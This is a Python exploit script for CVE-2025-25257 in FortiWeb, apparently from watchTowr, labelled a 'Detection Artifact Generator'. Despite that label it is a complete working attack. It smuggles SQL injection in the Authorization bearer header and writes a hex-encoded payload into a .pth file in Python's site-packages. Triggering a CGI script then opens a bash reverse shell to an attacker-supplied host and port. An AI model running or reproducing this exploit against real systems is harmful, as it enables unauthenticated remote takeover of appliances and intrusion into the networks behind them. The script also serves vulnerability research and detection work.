import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import argparse import binascii import random from time import sleep banner = """ __ ___ ___________ __ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________ \\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\ \\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/ \\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__| \\/ \\/ \\/ watchTowr-vs-FortiWeb-CVE-2025-25257.py (*) FortiWeb Unauthenticated SQLi to Remote Code Execution Detection Artifact Generator - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber) CVEs: [CVE-2025-25257] """ print(banner) parser = argparse.ArgumentParser(description='Detection Artifact Generator for CVE-2025-25257') parser.add_argument('--target', required=True, help='Target URL') parser.add_argument('--lhost', required=True) parser.add_argument('--lport', required=True) args = parser.parse_args() args.command = f"""import os; os.system('bash -c "/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"')""" args.target = args.target.rstrip('/') s = requests.Session() s.verify = False def build_token_updates(encoded_hex: str, chunk_size: int = 10): if chunk_size % 2 != 0: print("[!] chunk size must be even bro") exit(1) chunks = [encoded_hex[i : i + chunk_size] for i in range(0, len(encoded_hex), chunk_size)] for idx, piece in enumerate(chunks): if idx == 0: sql = ( f"SET/**/token=UNHEX('{piece}')" ) else: sql = ( f"SET/**/token=CONCAT(token,UNHEX('{piece}'))" ) payload = ( f"Bearer '/**/;UPDATE/**/fabric_user.user_table/**/" f"{sql};SELECT/**/'1'" ) s.headers.update({'Authorization': payload}) s.get(f"{args.target}/api/fabric/device/status") print(f"[*] sprayed chunk #{idx+1}/{len(chunks)}:\t{piece!r}") sleep(1) encoded_command = binascii.hexlify(args.command.encode()).decode() build_token_updates(encoded_command) s.headers.update({ 'Authorization': f"Bearer '/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth" }) s.get(f"{args.target}/api/fabric/device/status") print("\n[*] Pop thy shell!") s.headers.pop('Authorization', None) s.head(f"{args.target}/cgi-bin/ml-draw.py")